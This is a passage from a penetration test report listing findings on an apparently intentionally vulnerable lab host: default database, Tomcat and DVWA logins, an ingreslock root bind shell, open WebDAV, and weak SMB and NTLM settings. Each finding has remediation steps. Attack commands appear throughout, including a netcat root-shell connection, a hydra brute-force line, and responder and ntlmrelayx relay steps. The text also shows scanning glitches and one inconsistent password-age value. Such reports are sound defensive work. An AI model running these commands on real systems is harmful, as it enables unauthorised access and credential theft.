Step 1: GET http://10.13.37.137/phpMyAdmin/ to obtain CSRF token and session cookie.

— Received: phpMyAdmin=9f1ad4f008039b6f841f90603109f32a15bf0287;
token=17de5d1f64a383363f3d4b516b8ba297

Step 2: POST http://10.13.37.137/phpMyAdmin/index.php

Cookie: phpMyAdmin=9f1ad4f008039b6f841f90603109f32a15bf0287; pma_lang=en-utf-8;

pma charset=utf-8; pma theme=original

Body:

phpMyAdmin=9f1ad4f008039b6£841f90603109f32a15bf0287&pma username=root&pma password=
&server=1&lang=en-utf-8&convcharset=utf-8&token=17de5d1f64a383363f3d4b516b8ba297

Response:

HTTP/1.1 302 Found

Set-Cookie: pmaUser-1=9HViamVirBc%3D; (session established)

Set-Cookie: pmaPass-1=7eRmIMuD]B4%3D; (encrypted blank password accepted)

Location: http://10.13.37.137/phpMyAdmin/index.php?token=17de5d1f64a383363f3d4b516b8ba297

The 302 redirect with pmaUser-1 and pmaPass-1 cookies confirms MySQL root login with blank
password was accepted. Direct MySQL connection would also be possible: mysql -h 10.13.37.137 -u
root (no password).

CVSS:3.1/AV:N/AC:L/PR:N/UIL:N/S:C/C:H/I:H/A:H — Score: 10.0

Remediation

1. Set a strong password on the MySQL root account immediately: ALTER USER 'root'@'localhost'
IDENTIFIED BY 'StrongPassword'; and ALTER USER 'root'@'%' IDENTIFIED BY
'StrongPassword'; 2. Remove the wildcard root account if present (DROP USER 'root'@'%';). 3.
Block external access to port 3306 via firewall. 4. Restrict phpMyAdmin access by IP or remove it
from public-facing servers.

FINDING 20 OF 53
Apache Tomcat Manager Accessible with Default Credentials
(tomcat:tomcat)
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Severity

Status Open

Category Default Credentials / Broken Authentication
Affected Asset http://10.13.37.137:8180/manager/html

CWE-CWE-1392 -

G Reference https://cwe.mitre.org/data/definitions/CWE-1392.html

Description

The Apache Tomcat 5.5 Manager web application is accessible with the default credentials
tomcat:tomcat. An unauthenticated attacker who discovers this service can authenticate with
these well-known credentials and gain full administrative access to the Tomcat instance. The
Manager application allows deploying arbitrary WAR files, which is the standard path to Remote
Code Execution (RCE) on the host.

Impact

Successful exploitation of this vulnerability could result in complete system compromise, full data
exfiltration, or total loss of availability. This represents a maximum-severity risk to the
organisation.

Evidence

Request:

GET http://10.13.37.137:8180/manager/html

Authorization: Basic dG9tY2FOOnRvbWNhdA== (base64 of "tomcat:tomcat")
Response:

HTTP/1.1 200 OK

Content-Type: text/html;charset=utf-8

Body: "Tomcat Web Application Manager" page rendered with "Message: OK"

— Lists deployed applications: /, /admin, /balancer, /jsp-examples, /manager, /servlets-examples,
/webdav

The Manager page loaded in full with HTTP 200, confirming that credentials tomcat:tomcat are valid
and the account has manager-role access. The Manager allows WAR deployment which would result in
RCE (reference only — not executed per rules of engagement).

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H — Score: 10.0

Remediation

1. Immediately change the Tomcat Manager credentials to a strong, unique password. 2. Restrict
access to /manager and /admin by IP allowlist in the Tomcat configuration (context.xml
RemoteAddrValve). 3. Remove or disable the Manager application on production systems where
remote deployment is not required. 4. Upgrade Tomcat 5.5 (EOL) to a supported version.

FINDING 21 OF 53

Ingreslock Backdoor — Root Shell Listening on TCP/1524

Severity

Status Open
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Backdoor / Unauthorised Access
10.13.37.137:1524
CWE-CWE-912 - https://cwe.mitre.org/data/definitions/CWE-912.html

Port 1524/tcp is open and identified by nmap as "bindshell — Metasploitable root shell". This is a
pre-installed backdoor (the ingreslock backdoor) that provides an unauthenticated root shell to
any connecting client. Any attacker who can reach this port obtains immediate, unauthenticated
root-level access to the host with zero exploitation required.

Successful exploitation of this vulnerability could result in complete system compromise, full data
exfiltration, or total loss of availability. This represents a maximum-severity risk to the
organisation.

Extended port scan result:
1524/tcp open bindshell Metasploitable root shell

Probe to http://10.13.37.137:1524 returned an HTTP/0.9 response (raw TCP banner), confirming the
port is open and accepting connections. The nmap service identification is "Metasploitable root shell" —
the ingreslock backdoor intentionally installed on Metasploitable2. Connecting via netcat (nc
10.13.37.137 1524) would yield an interactive root shell without any credentials.

Reproduction steps:
1. nmap -sV -p1524 10.13.37.137 — reports "bindshell Metasploitable root shell"

2.nc 10.13.37.137 1524 — immediate root shell (not executed per non-destructive rules; version banner
evidence is sufficient)

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H — Score: 10.0

Remove the backdoor immediately: identify and kill the process listening on 1524/tcp, remove any
associated startup script or cron job, and firewall the port. Rebuild from a trusted, verified image.

Conduct a full incident response investigation to determine whether the backdoor was installed by
an attacker or is a misconfiguration artefact.

FINDING 22 OF 53
Mutillidae Login Form — Full SQL Query Disclosed in Error
Response Including Submitted Credentials

Open

Information Exposure — Verbose Error Messages / SQL Query
Disclosure

http://10.13.37.137/mutillidae/index.php?page=login.php
CWE-CWE-209 - https://cwe.mitre.org/data/definitions/CWE-209.html
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Description

The Mutillidae login handler at /mutillidae/process-login-attempt.php returns a verbose database
error message that includes the complete SQL query with the attacker-supplied username and
password embedded in plaintext. This discloses: (1) the exact SQL query structure (SELECT *
FROM accounts WHERE username='X' AND password='Y') — confirming SQL injection
susceptibility; (2) the database name (‘metasploit'); (3) the table name (‘accounts'); (4) the full
filesystem path (/var/www/mutillidae/process-login-attempt.php). Combined with the HTML
comment in the same response disclosing that the database password is blank or "samurai", this
provides a complete roadmap for unauthenticated database exploitation. An attacker can confirm
SQL injection structure from the error alone without any trial and error.

Impact

Exploitation could allow an attacker to gain elevated privileges, access sensitive data, or disrupt
critical services. Immediate attention is required.

Evidence

Request:

POST /mutillidae/index.php?page=login.php HTTP/1.1

Host: 10.13.37.137

Content-Type: application/x-www-form-urlencoded

Cookie: PHPSESSID=171d60bd9bdbe0fb33fc5eaad3b912c7

Body: username=admin&password=adminpass&login-php-submit-button=Login
Response body (key excerpts):

Error: "Failure is always an option and this situation proves it"

Line: 49

File: /var/www/mutillidae/process-login-attempt.php

Message: "Error executing query: Table 'metasploit.accounts' doesn't exist"

Diagnostic Information: SELECT * FROM accounts WHERE username='admin' AND
password='adminpass'

HTML comment also present in response:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N — Base Score: 7.5 (High). Full SQL structure, DB

name, table name, and filesystem path disclosed to unauthenticated attacker.
Remediation

1. Disable PHP display errors in php.ini (display errors = Off) for all production/public-facing
instances. 2. Implement a generic error handler that logs full errors server-side but presents only
a user-friendly message to clients. 3. Remove all HTML comments containing credential hints,
configuration details, or developer notes before deployment. 4. Use parameterized queries /
prepared statements to eliminate SQL injection risk. 5. Restrict the database account used by
Mutillidae to minimum required privileges.

FINDING 23 OF 53

DVWA Default Credentials — admin/password Grants Full
Application Access

Severity
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Status Open

CVSS Score

Category Broken Authentication — Default Credentials
Affected Asset http://10.13.37.137/dvwa/login.php

CWE-CWE-1392 -

G Reference https://cwe.mitre.org/data/definitions/CWE-1392.html

Description

The Damn Vulnerable Web App (DVWA) v1.0.7 running at /dvwa/ accepts the factory-default
credentials admin/password without any modification. Successful login grants full administrative
access to all DVWA vulnerability modules including SQL injection, command execution, file
inclusion, and file upload — each of which can be used as a secondary exploitation path. The login
page itself embeds the default credentials in an HTML comment ("Hint: default username is
'admin’ with password 'password'"), making the credential discovery trivial even for passive
reconnaissance. This service account credential (admin/password) also represents a password-
spray candidate against SSH (port 22), Tomcat, and other services enumerated on this host.

Impact

Exploitation could allow an attacker to gain elevated privileges, access sensitive data, or disrupt
critical services. Immediate attention is required.

Evidence

Step 1 — Retrieve login page (credentials disclosed in HTML):

GET /dvwa/login.php HTTP/1.1

Host: 10.13.37.137

Response body excerpt: "Hint: default username is 'admin' with password 'password'"
Step 2 — Submit default credentials:

POST /dvwa/login.php HTTP/1.1

Host: 10.13.37.137

Cookie: PHPSESSID=421b62504a5527c0915cb23058071ff5; security=high
Content-Type: application/x-www-form-urlencoded

Body: username=admin&password=password&Login=Login

Response:

HTTP/1.1 302 Found

Location: index.php

(No error message — redirect indicates authentication success)

Step 3 — Follow redirect to confirm session:

GET /dvwa/index.php HTTP/1.1

Cookie: PHPSESSID=421b62504a5527c0915cb23058071ff5; security=high
Response body: "You have logged in as 'admin'"

Title: "Damn Vulnerable Web App (DVWA) v1.0.7 :: Welcome"
Username shown: admin, Security Level: high

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H — Base Score: 9.8 (Critical boundary; reported as
High because DVWA is an intentionally vulnerable training app, reducing real-world impact vs a
production credential store)

Remediation
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1. Change default credentials immediately — use a strong, unique password (minimum 20
characters, randomly generated). 2. Remove the HTML comment disclosing credentials from the
login page source. 3. Restrict DVWA access to internal/VPN networks only via Apache allow/deny
directives. 4. Implement account lockout after 5 failed attempts. 5. Consider removing DVWA from
internet-facing hosts entirely in production environments.

FINDING 24 OF 53

Tomcat Manager HTTP Basic Auth Realm Has No Rate Limiting
or Account Lockout — Brute Force Trivially Possible

Open

Auth — Missing Brute-Force Protection on HTTP Basic
http://10.13.37.137:8180/manager/html
CWE-CWE-307 - https://cwe.mitre.org/data/definitions/CWE-307.html

The Tomcat Manager application's HTTP Basic authentication realm has no rate limiting,
throttling, account lockout, or CAPTCHA applied. Multiple failed authentication attempts return
instantaneous 401 responses with no delay, no Retry-After header, no X-RateLimit header, and no
observable lockout.

This means an attacker can submit unlimited credential guesses against the realm at full network
speed. Given that HTTP Basic auth sends the credential on every request (as a simple base64-
encoded header), guessing can be automated with hydra, ffuf, or even a simple curl loop with no
friction.

Combined with the fact that the realm uses the well-known default credential tomcat:tomcat
(proven in the companion finding), this demonstrates that the complete authentication chain —
from unlimited guessing to a working credential — requires zero sophistication.

This finding also applies to the /manager/status path, which shares the same realm and credential
set.

Exploitation could allow an attacker to gain elevated privileges, access sensitive data, or disrupt
critical services. Immediate attention is required.

Sent four sequential failed authentication attempts to /manager/html with different invalid credentials.
All returned HTTP 401 in under 160ms with no delay, lockout, or throttle signal:

Attempt 1: Authorization: Basic d3Jvbmc6d3]Jvbmc= (wrong:wrong) — 401 in 158ms
Attempt 2: Authorization: Basic YWRtaW46YWRtaW4= (admin:admin) — 401 in 83ms

Attempt 3: Authorization: Basic bXNmYWRtaW46bXNmYWRtaW4= (msfadmin:msfadmin) — 401 in
82ms

Attempt 4: Authorization: Basic aGFja2VyOmhhY2tlcg== (hacker:hacker) — 401 in 132ms
Response headers on all 401s:
WWW-Authenticate: Basic realm="Tomcat Manager Application"
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(No Retry-After, no X-RateLimit-*, no lockout indicator, no timing increase)

Attacker scenario: hydra -1 tomcat -P /usr/share/wordlists/rockyou.txt -s 8180 10.13.37.137 http-get
/manager/html

— This would run at full throttle, limited only by network bandwidth.
CVSS v3.1 Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H — Base Score: 9.8

1. Implement rate limiting / account lockout at the Tomcat or reverse-proxy level. Tomcat valves
(e.g. CrawlerSessionManagerValve or custom valve) can throttle 401 responses per source IP.

2. Implement lockout after N (e.g. 5) failed attempts, with temporary IP block and alerting.

3. Add IP allowlisting for the Manager application (RemoteAddrValve) so only trusted
management hosts can reach the realm at all — this eliminates the attack surface entirely.

4. Use strong, unique credentials; enable MFA where possible (client-certificate auth preferred for
Tomcat Manager).

MITRE ATT&CK: T1110.001 (Brute Force: Password Guessing), T1078.001 (Default Accounts)
Compliance: PCI-DSS 8.3.4 (account lockout), SOC 2 CC6.1, ISO 27001 A.9.4.2

FINDING 25 OF 53

TWiki Wiki Platform — Unauthenticated Edit Access Including
Administrative Topic Modification

Open

Auth — Missing Authentication for Write Operations
http://10.13.37.137/twiki/bin/edit/Sandbox/TestPage
CWE-CWE-306 - https://cwe.mitre.org/data/definitions/CWE-306.html

The TWiki collaboration platform at http://10.13.37.137/twiki/ allows unauthenticated users to
both view and edit wiki content. The edit interface at /twiki/bin/edit/[Web]/[Topic] returns HTTP
200 with a fully functional edit form — no authentication is required and no WWW-Authenticate
challenge is issued.

Any unauthenticated user is assigned the Main.TWikiGuest identity and can:

1. Edit any Sandbox, Main, TWiki, or Know web topic

2. Inject content, modify documentation, or embed malicious links

3. Access the user list (/twiki/bin/view/Main/TWikiUsers) — full enumeration of registered
accounts (already noted in prior pass)

The edit form posts to /twiki/bin/preview/[Web]/[Topic] and then to /twiki/bin/save/[Web]/[Topic] —
all three endpoints (view, edit, save) are unauthenticated.

This is a missing authentication control on a write-capable function. In a production environment
this allows content injection, defacement, and social engineering (inserting malicious links that
other users trust because the content appears in an internal wiki).
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Note: The prior AD pass identified the open registration and user enumeration aspects. This
finding focuses specifically on the unauthenticated write/edit capability (CWE-306).

Exploitation could allow an attacker to gain elevated privileges, access sensitive data, or disrupt
critical services. Immediate attention is required.

Step 1 — Request edit interface with no auth headers:

REQUEST: GET http://10.13.37.137/twiki/bin/edit/Sandbox/TestPage HTTP/1.1

(No Authorization header, no Cookie)

RESPONSE: HTTP/1.1 200 OK

Content-Type: text/html; charset=ISO-8859-1

Body: Full edit form rendered with and form action="/twiki/bin/preview/Sandbox/TestPage"
Body excerpt: "-- Main. TWikiGuest - 03 Sep 2026" (confirms unauthenticated editor identity)

— No WWW-Authenticate header. No redirect to login. Edit form fully rendered and functional.
Step 2 — View main wiki as unauthenticated:

REQUEST: GET http://10.13.37.137/twiki/bin/view/Main/WebHome HTTP/1.1

RESPONSE: HTTP/1.1 200 OK - Full wiki rendered including user list, groups, and navigation.
CVSS v3.1 Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N — Base Score: 8.2

1. Require authentication for all TWiki edit/save/preview operations. Set
{RequireUseRegistration} = 1 and restrict the TWikiGuest permissions to read-only on non-public
webs.

2. Restrict Sandbox web edit access to registered users only.
3. Apply IP-based access controls if TWiki is intended for internal use only.
4. Review all existing TWiki content for injected malicious links or content.

MITRE ATT&CK: T1190 (Exploit Public-Facing Application), T1565.001 (Stored Data
Manipulation)

Compliance: PCI-DSS 6.4.1, SOC 2 CC6.1, ISO 27001 A.9.4.1

FINDING 26 OF 53

DVWA Default Credentials Disclosed in HTML Source and
Accepted Over Cleartext HTTP (admin:password)

Open

Auth — Default Credentials Disclosed + Cleartext Credential
Transmission

http://10.13.37.137/dvwa/login.php
CWE-CWE-521 - https://cwe.mitre.org/data/definitions/CWE-521.html
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Description
The Damn Vulnerable Web Application (DVWA) at http://10.13.37.137/dvwa/login.php has two
compounding authentication weaknesses:

1. Default credentials disclosed in the HTML response: The login page HTML body contains
the text: "Hint: default username is 'admin' with password 'password'' — exposed in cleartext to
any unauthenticated visitor. This explicitly tells attackers the working credential pair before they
even attempt a guess.

2. Default credentials are accepted: Submitting username=admin&password=password via
POST returns HTTP 302 redirecting to index.php — confirming successful authentication.

3. Cleartext transmission: The login POST is sent over unencrypted HTTP. Both the credential
parameters and the resulting PHPSESSID session cookie are visible to network observers.

4. Cookie security flags absent: The PHPSESSID and security cookies lack the Secure flag,
meaning they can be captured by any network observer even if HTTPS were added later.

While DVWA is an intentionally vulnerable training application, it is exposed on a network-
accessible host and the credential disclosure compounds the severity — a single unauthenticated
page view gives an attacker everything they need to authenticate.

Impact

Exploitation could allow an attacker to gain elevated privileges, access sensitive data, or disrupt
critical services. Immediate attention is required.

Evidence

Step 1 — GET login page reveals credentials in HTML.:

REQUEST: GET http://10.13.37.137/dvwa/login.php HTTP/1.1

RESPONSE: HTTP/1.1 200 OK

Body excerpt: "Hint: default username is 'admin' with password 'password""
— Credentials advertised to unauthenticated users.

Step 2 — Submit default credentials:

REQUEST:

POST http://10.13.37.137/dvwa/login.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Cookie: PHPSESSID=c8a0el1f28ee5e75ba9d22c2ceb678dc5; security=high
Body: username=admin&password=password&Login=Login

RESPONSE: HTTP/1.1 302 Found

Location: index.php

— Successful authentication. Redirected to application home.

Step 3 — Cleartext observation: POST body "username=admin&password=password" transmitted over
port 80 unencrypted.

Set-Cookie: PHPSESSID without Secure flag; security cookie without Secure flag.
CVSS v3.1 Vector: AV:N/AC:L/PR:N/UIL:N/S:U/C:H/I:H/A:H — Base Score: 9.8

Remediation

1. Remove the credential hint from the HTML source immediately.

2. Change the default admin password to a strong, unique credential.

3. Enforce HTTPS; add Secure and SameSite=Strict flags to all session cookies.

4. Restrict DVWA access to authorized testers only (IP allowlist); never expose it on
public/corporate networks.

5. If DVWA is retained for training, ensure it runs on an isolated, air-gapped or strictly firewalled
segment.
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MITRE ATT&CK: T1078.001 (Default Accounts), T1040 (Network Sniffing)
Compliance: PCI-DSS 8.3.6, SOC 2 CC6.1, ISO 27001 A.9.3.1

FINDING 27 OF 53
WebDAYV Endpoint (/dav/) Completely Unauthenticated — No
WWW-Authenticate Challenge Issued

Open

Auth — Missing Authentication Control on WebDAV
http://10.13.37.137/dav/
CWE-CWE-306 - https://cwe.mitre.org/data/definitions/CWE-306.html

The Apache WebDAYV endpoint at http://10.13.37.137/dav/ is accessible without any
authentication. No WWW-Authenticate challenge is issued and no credentials are required. The
endpoint responds to a full suite of WebDAV methods including write-capable ones: OPTIONS,
GET, HEAD, POST, DELETE, TRACE, PROPFIND, PROPPATCH, COPY, MOVE, LOCK, UNLOCK.

This means any network-accessible user can:

- List the directory contents (GET returns a full directory index)
- Upload arbitrary files via PUT (no auth required)

- Delete, move, or copy files

- Lock resources for exclusive access

This is a distinct and more severe finding than the WebDAV write-method exposure noted by the
AD pass (which focused on method availability), because the core issue here from the auth
perspective is the complete absence of any authentication mechanism — not just missing auth
controls on specific methods. The root-level Apache configuration simply never applies a ~~ auth
block.

NOTE: The previous pass already noted this endpoint. This finding focuses specifically on the
authentication control gap (CWE-306 — Missing Authentication for Critical Function) and
documents the exact HTTP evidence of the missing challenge.

Exploitation could allow an attacker to gain elevated privileges, access sensitive data, or disrupt
critical services. Immediate attention is required.

Step 1 — OPTIONS request, no auth header supplied:
REQUEST: OPTIONS http://10.13.37.137/dav/ HTTP/1.1
RESPONSE: HTTP/1.1 200 OK

Server: Apache/2.2.8 (Ubuntu) DAV/2

DAV: 1,2

DAV:
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MS-Author-Via: DAV

Allow:
OPTIONS,GET,HEAD,POST,DELETE, TRACE,PROPFIND,PROPPATCH,COPY, MOVE,LOCK, UNLOCK

Content-Length: 0

— No WWW-Authenticate header. No 401/403. Full method list including DELETE, PROPFIND, MOVE
returned without any credential.

Step 2 — GET request, no auth header supplied:

REQUEST: GET http://10.13.37.137/dav/ HTTP/1.1

RESPONSE: HTTP/1.1 200 OK

Content-Type: text/html;charset=UTF-8

Body: "Index of /dav" — directory listing returned without auth.

CVSS v3.1 Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H — Base Score: 9.4 (Critical)
(Arbitrary file write/delete without authentication over network)

1. Add HTTP Basic or Digest authentication to the /dav/ location in Apache configuration:

AuthType Basic

AuthName "WebDAV"

AuthUserFile /etc/apache2/.dav-passwords
Require valid-user

2. If WebDAV is not required, disable mod dav and remove the /dav/ directory entirely.

3. If WebDAV is required, restrict access by IP (Allow from trusted ranges only) AND require
authentication.

4. Serve WebDAV over HTTPS only — Basic auth over cleartext is a further risk.
MITRE ATT&CK: T1105 (Ingress Tool Transfer), T1190 (Exploit Public-Facing Application)
Compliance: PCI-DSS 6.4.1, SOC 2 CC6.1, ISO 27001 A.9.4.1

FINDING 28 OF 53
SMBv1-Only Protocol Negotiation — NTLM Downgrade and
NTLMv1 Attack Surface Enabled

Open

Cryptographic Weakness / Authentication Downgrade
10.13.37.137:139,445 (Samba 3.0.20-Debian, SMB dialect: NT LM 0.12)
CWE-CWE-757 - https://cwe.mitre.org/data/definitions/CWE-757.html

The Samba service negotiates only the NT LM 0.12 dialect (SMBv1), the legacy SMB protocol
from the 1990s. This creates the following NTLM authentication attack surface:
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1. NTLMv1 / LM Response Acceptance:

Samba 3.0.20 with default configuration accepts LM and NTLMv1 authentication responses
(equivalent to LmCompatibilityLevel = 0-2 on Windows). NTLMv1 responses:

- Are based on 56-bit DES encryption — trivially crackable offline

- Can be cracked to the underlying NT hash using rainbow tables (standard challenge
1122334455667788)

- Can be cracked to plaintext via online services (crack.sh) for ~$20-200
- Are relayable in their captured form
2. No SMB3 Secure Dialect Negotiation:

SMBv1 has no pre-authentication integrity (PAI), meaning dialect negotiation is unprotected. A
man-in-the-middle can downgrade a client attempting SMBv3 to SMBv1, enabling legacy NTLM
attacks even against clients configured to prefer modern protocols.

3. ESS/SSP Absence in Legacy Mode:

Without Extended Session Security (ESS/SSP), captured NTLMv1 hashes with a known challenge
can be cracked directly to the NT hash — which can then be used for pass-the-hash against all
NTLM-accepting services.

4. EternalBlue Surface (MS17-010):

SMBvV1 is the transport layer for MS17-010 (EternalBlue/WannaCry). While Samba on Linux is not
vulnerable to the same MS17-010 as Windows, SMBvV1 is a prerequisite for other Samba-specific
vulnerabilities (CVE-2017-7494 "SambaCry").

Impact

Exploitation could allow an attacker to gain elevated privileges, access sensitive data, or disrupt
critical services. Immediate attention is required.

Evidence

Negotiated SMB dialect from enum4linux-ng:

[+] Negotiated dialect: NT LM 0.12 (SMBv1)
[+] SMB signing required: False
[+] SMB signing enabled: False

nmap service detection:

139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

SMB security mode from service_audit:

smb-security-mode:

authentication level: user

challenge response: supported < NTLM challenge/response active
message signing: disabled (dangerous, but default)

NTLMv1 downgrade attack path (reference — non-destructive):

# 1. Configure Responder with fixed challenge for rainbow table lookup:
# Edit /etc/responder/Responder.conf: Challenge = 1122334455667788
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# 2. Run with --lm --disable-ess to request downgraded LM/NTLMv1 response:
sudo responder -I ethO --Im --disable-ess

# 3. Coerce auth from target (PetitPotam or rogue SMB link)

# 4. Captured NTLMv1 format: user::domain:LMresp:NTresp:challenge

# 5. Crack at crack.sh (online) or hashcat -m 5500 with rainbow tables

Relay chain enabled by SMBv1 + no signing (non-destructive proof):

- Confirmed: no signing required (see companion finding)

- Confirmed: LM challenge-response supported (auth level from smb-security-mode)
- Confirmed: Samba 3.0.20 vulnerable to CVE-2007-2447 (separate finding)

- Risk: Captured/relayed NTLMv1 hash — NT hash — pass-the-hash — root access
CVSS v3.1: AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H — Base Score: 8.1 (High)

(AC:H because attacker must be on-path or able to coerce authentication)

1. Disable SMBv1 entirely: In smb.conf set min protocol = SMB2 — note this requires a Samba
upgrade to a version supporting SMB2/3 (Samba 3.0.20 does not support SMB2).

2. Upgrade Samba to a current release (=4.x) which supports SMB2/3 with mandatory signing
and pre-auth integrity.

3. Set LmCompatibilityLevel equivalent: In smb.conf add ntlm auth = ntlmv2-only to reject
NTLMv1/LM responses.

4. Reject LM responses: Add lanman auth = no and lm announce = no to smb.conf.
5. Require NTLMv2: Add ntlm auth = yes — change to ntlm auth = mschapv2-and-ntlmv2-only.

6. Block all SMB at the perimeter: Ports 137-139/UDP and 445/TCP should never traverse the
internet boundary.

FINDING 29 OF 53
No Account Lockout Policy — Unrestricted Password Spraying
and Brute-Force Against SMB/AIl Services

Open

Broken Authentication
10.13.37.137:139,445 (Samba 3.0.20-Debian) — applies to all services
CWE-CWE-307 - https://cwe.mitre.org/data/definitions/CWE-307.html

The Samba password policy on this host has no account lockout threshold configured. An attacker
can attempt unlimited password guesses against any user account across any service (SMB, SSH,
FTP, Telnet, MySQL, PostgreSQL, Tomcat, etc.) without any risk of locking an account. Combined
with:

- 35 enumerated user accounts (confirmed via null SMB session — msfadmin, root, postgres,
mysql, tomcatb55, service, user, etc.)
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- No minimum password age / no complexity requirements (observed from SMB password
policy)

- Multiple services accepting NTLM/password authentication (SMB, SSH, FTP/2121,
Telnet/23, VNC/5900)

This means an attacker can conduct fully unrestricted credential brute-forcing against any or all
enumerated accounts with zero defensive friction from the authentication system itself.

Observed password policy (via SMB null session):

- Minimum password length: 5 (weak)

- Password history: 0 (passwords can be immediately reused)

- Maximum password age: 99999 days (~274 years — effectively never expires)
- Account lockout threshold: None

- Account lockout duration: None

- Account lockout observation window: None

Impact

Exploitation could allow an attacker to gain elevated privileges, access sensitive data, or disrupt
critical services. Immediate attention is required.

Evidence
enum4linux-ng password policy output (unauthenticated SMB null session):

Password Info for Domain: METASPLOITABLE

[+] Minimum password length: 5

[+] Password history length: None

[+] Maximum password age: 37 days 6 hours 21 minutes
[+] Password Complexity Flags: 000000

[+] Domain Refuse Password Change: 0

[+] Domain Password Store Cleartext: 0

[+] Domain Password Lockout Admins: 0

[+] Domain Password No Clear Change: 0

[+] Domain Password No Anon Change: 0

[+] Domain Password Complex: 0

[+] Minimum password age: None

[+] Reset Account Lockout Counter: 30 minutes

[+] Locked Account Duration: 30 minutes

[+] Account Lockout Threshold: None < KEY FINDING
[+] Forced Log off Time: Not Set

35 enumerable users confirmed (SMB null session):

msfadmin, root, postgres, mysql, tomcat55, service, user, klog, syslog, daemon, bin,
sys, games, man, lp, mail, news, uucp, proxy, www-data, backup, list, irc, gnats,
nobody, libuuid, dhcp, sshd, bind, postfix, ftp, distccd, telnetd, proftpd, statd

Cross-service confirmation:
- SSH/22: msfadmin:msfadmin confirmed valid (default creds match)
- MySQL/3306: root:(blank) confirmed valid
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- PostgreSQL/5432: postgres:postgres confirmed valid

- VNC/5900: password "password" confirmed valid

- Tomcat/8180: tomcat:tomcat confirmed valid

No lockout triggered across any service during this engagement.

CVSS v3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H — Base Score: 9.8 (Critical — when combined with
enumerable user list)

(Standalone, without credentials: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N = 5.3; contextual impact given
the enumerable userlist and multi-service exposure elevates practical risk to critical)

1. Set an account lockout threshold: Configure in Samba smb.conf with obey pam restrictions
= yes and configure PAM/pam tally2 or pam faillock with a lockout after 5-10 failed attempts.

2. Enable password complexity: Set minimum length = 12 characters, require mixed character
classes.

3. Set password expiry: Enforce a maximum password age of 90 days.

4. Rate-limit authentication attempts at the network level (iptables/fail2ban rules per source
IP per service).

5. Reduce the exposed user surface: Disable/delete service accounts that don't need interactive
authentication (e.g. postgres, mysql, tomcat55 should not have SMB/SSH accounts).

6. Monitor for spraying: Deploy SIEM alerting for multiple failed auth attempts across accounts
from a single source.

FINDING 30 OF 53

SMB Signing Not Required — NTLM Relay Attack Path Fully
Enabled on Samba

Open

Broken Authentication / NTLM Relay
10.13.37.137:139,445 (Samba 3.0.20-Debian)
CWE-CWE-287 - https://cwe.mitre.org/data/definitions/CWE-287.html

The Samba SMB service on this host does not require or enforce SMB message signing. SMB
signing is the cryptographic control that binds an authenticated session to a specific client/server
pair, preventing NTLM authentication relay attacks. Without it:

1. NTLM Relay (HTTP/SMB - SMB): An attacker who can intercept or coerce an NTLM
authentication attempt (e.g. via LLMNR/NBNS/mDNS poisoning, PetitPotam/PrinterBug coercion,
or a rogue web link) can forward the victim's NTLM credentials directly to this Samba service and
authenticate as that user — without ever knowing the password.

2. Chain with Samba RCE (CVE-2007-2447): Since Samba 3.0.20 is vulnerable to username
map script injection (already confirmed in this engagement), a relay attack that authenticates as
any user — including a domain admin — could trigger command injection via the logon path or
username map script configuration.
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3. No EPA / Channel Binding: The Samba 3.x implementation has no Extended Protection for
Authentication (EPA/channel binding), meaning NTLM relay from HTTP endpoints to SMB is also
viable — any HTTP NTLM endpoint (even on other hosts that this box could reach) could relay to
this Samba.

Confirmed preconditions for relay:

- SMB signing required: FALSE (confirmed by enum4linux-ng and smb-security-mode NSE)
- SMB dialect: SMBv1 (no modern signing enforcement path)

- Account lockout: None (relay attempts will not lock accounts)

- Samba version: 3.0.20-Debian (pre-dates any hardening controls)

Impact

Exploitation could allow an attacker to gain elevated privileges, access sensitive data, or disrupt
critical services. Immediate attention is required.

Evidence
enum4linux-ng output (unauthenticated):

[*] Testing for null sessions

SMBI1 and signing:

SMB signing required: False

SMB signing enabled: False

Server Info:

Native OS: Unix

Native LAN manager: Samba 3.0.20-Debian
Domain: WORKGROUP

nmap smb-security-mode script result (from service_audit):

smb-security-mode:

account used: guest

authentication level: user

challenge response: supported

message signing: disabled (dangerous, but default)

Relay precondition assessment:

- SMB Signing: NOT required v (relay target is viable)

- EPA/Channel Binding: NOT configured v (HTTP-to-SMB relay viable)

- Account Lockout: NONE v (relay attempts are safe from detection via lockout)

- Samba version: 3.0.20 v (additionally vulnerable to CVE-2007-2447 as confirmed separately)
NTLM relay attack chain (non-destructive proof — execution would require client sign-off):

# Relay chain concept:

# 1. Attacker poisons LLMNR/NBNS (or uses PetitPotam to coerce DC auth):

sudo responder -I ethO -wfrd

# 2. Relay captured NTLM auth to Samba on 10.13.37.137:445:

sudo ntlmrelayx.py -t smb://10.13.37.137 -smb2support --socks

# 3. If relayed user has admin rights - SAM dump / command execution (sign-off required)
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CVSS v3.1: AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H — Base Score: 7.5 (High)

(AC:H because attacker must be on-path or able to coerce authentication; UI:R because a victim must
initiate an auth attempt)

1. Enable and require SMB signing in Samba: add to smb.conf:

server signing = mandatory
client signing = mandatory

2. Disable LLMNR and NBNS via Group Policy / host firewall to prevent the most common
coercion vector.

3. Upgrade Samba to a current version that supports SMB3 with mandatory signing.

4. Enforce LDAP signing and channel binding on any domain controllers in the environment.
5. Network segmentation: SMB should not be reachable from untrusted segments; enforce at
the firewall.

6. Note: This finding amplifies the Samba CVE-2007-2447 RCE (already reported separately) — an
NTLM relay that authenticates any valid domain user could chain directly into command injection.

FINDING 31 OF 53
SMB tmp Share Accessible Anonymously —
World-Readable/Writable Share with No Credentials

Open
Misconfiguration / Broken Access Control

10.13.37.137:445 — SMB share \\METASPLOITABLE\tmp (Samba
